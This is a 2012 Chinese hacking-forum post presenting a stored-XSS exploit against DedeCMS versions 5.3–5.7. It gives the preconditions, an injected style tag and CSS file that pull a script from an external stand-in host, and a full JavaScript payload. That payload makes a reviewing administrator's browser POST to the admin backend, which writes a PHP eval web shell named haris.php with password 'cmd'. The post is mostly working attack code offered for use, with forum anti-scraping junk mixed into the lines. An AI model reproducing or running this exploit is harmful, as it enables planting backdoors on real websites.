找回密码
 立即注册
查看: 2461|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell  e) G/ N' i3 F' ~# C) T
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
) R/ H9 b5 }+ Q7 o( a8 Q( f% c目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
0 C! s+ t; W0 ], H4 p, L" C下面说说利用方法。
& p3 E6 y, F& M- g, @3 S2 W9 L条件有2个:
  r1 ~3 x& I( x1.开启注册
7 S" c& Y/ ?, K: T2.开启投稿% @6 f: O5 ?* Q% F$ x
注册会员----发表文章
/ f0 C, u# V7 g# \  G3 ?( n% m) V内容填写:
3 r" u: M( d! y复制代码' |4 O- U; ~8 {! A. V! n
<style>@im\port'\http://xxx.com/xss.css';</style>
; P" ?# h* |, q* ]$ e新建XSS.Css
" F5 P9 K" t% ^. j% Z复制代码. ?9 H" |9 x3 T/ `# \2 Q! ~/ \; ~/ [
.body{
' t, v  i8 ^3 l. E5 ]background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
; Y  v; m9 d5 \5 w新建xss.js 内容为$ o  K: L" c2 F& ]
复制代码
3 F/ \0 l" A% a! X4 Q1.var request = false;  y4 a$ B! w' N2 j
2.if(window.XMLHttpRequest) {2 T$ F+ \, c: Y/ I% g1 a
3.request = new XMLHttpRequest();
2 B6 N6 f7 y' K. y; v4.if(request.overrideMimeType) {  T9 @0 I& a, H
5.request.overrideMimeType('text/xml');" I0 x; @0 }/ Y2 o
6.}
! ?4 U1 i( F" [/ N& Z5 s& [9 a3 r- n  I# r7.} else if(window.ActiveXObject) {
0 V, z2 U" I3 n& ?- u" M' g! ~3 N8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];& w; l) _& ^+ O9 U  G
9.for(var i=0; i<versions.length; i++) {
5 S% n+ q" i& O; D10.try {% i3 u5 J3 i5 U) ?  {) h  |
11.request = new ActiveXObject(versions);
1 [2 o& ?9 l: @, M2 s12.} catch(e) {}+ }2 Q( ^4 v8 z0 C. N2 O$ w
13.}
7 a& g$ D6 G4 \) c/ i7 G14.}1 k# y( @2 b! J& W7 W3 Q
15.xmlhttp=request;/ c( n) a2 ]  M, v
16.function getFolder( url ){1 M  C+ g( u. L% u! y
17. obj = url.split('/')6 Z0 d6 T7 D0 w
18. return obj[obj.length-2]
# B7 T# A4 t# p/ L  w; ^' H19.}
* w5 ]  M7 _+ x+ O2 Z" `20.oUrl = top.location.href;7 m  `  T/ i  E( _+ |5 x# [
21.u = getFolder(oUrl);( J/ T9 t' a3 ^; `( A
22.add_admin();
8 ?7 C+ j4 G3 \/ d5 ^+ M23.function add_admin(){9 l; |' D4 \5 I0 w
24.var url= "/"+u+"/sys_sql_query.php";
2 E: `9 g" `4 D, I25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
8 X5 Z6 c. l+ V% G1 H" i26.xmlhttp.open("POST", url, true);
0 S; F7 ^6 w+ [; ?27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
9 m5 B; k; M0 D) L  W/ {: \2 `28.xmlhttp.setRequestHeader("Content-length", params.length);
9 k. ^8 M! M% j  H- Q29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");9 g6 t7 y# v9 o$ K0 ]
30.xmlhttp.send(params);7 S  j) [  @, b7 D: e+ [
31.}. b' `  Z* R- K# l
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表